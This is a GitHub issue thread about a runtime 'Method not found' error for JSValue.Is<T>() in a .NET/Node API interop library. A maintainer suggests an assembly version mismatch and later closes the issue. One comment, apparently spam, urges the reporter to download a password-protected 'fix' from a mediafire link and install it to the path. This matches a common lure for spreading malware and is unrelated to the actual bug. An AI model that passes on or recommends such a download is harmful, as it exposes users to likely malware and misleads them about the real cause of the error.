Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Method not found 'Boolean Microsoft.JavaScript.NodeApi.JSValue.Is()' #364

Closed
moriyalb opened this issue Aug 27, 2024 · 2 comments
Closed

Comments

@moriyalb
Copy link

//JSValue.cs public bool Is<T>() where T : struct, IJSValue<T> { return T.CanCreateFrom(this); }

//MyCode //JSValue _in; if (!_in.Is<JSMap>()) { Jex.Error("implicit map value failed. invalid value "); return _out; }

Compile is success. But while running, got this error:

Error: Method not found: 'Boolean Microsoft.JavaScript.NodeApi.JSValue.Is()'.
at jj.Jex.Runtime.ProxyTypes.Tb5b61cd4_W.op_Implicit(JSValue _in)

How could this happen?

@amir1387aht
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@jasongin
Copy link
Member

jasongin commented Aug 28, 2024

I'm not sure what's going on there. Is it possible it's using an older version of the assembly at runtime than the one used to build? The JSValue.Is<>() method was added fairly recently so a slightly older version wouldn't have it.

@jasongin
Copy link
Member

jasongin commented Sep 4, 2024

Closing because I can't reproduce this. Try doing a clean build, and check the version of the Microsoft.JavaScript.NodeApi assembly in your output directory.

@jasongin jasongin closed this as completed Sep 4, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

5 participants
@moriyalb @jasongin @amir1387aht and others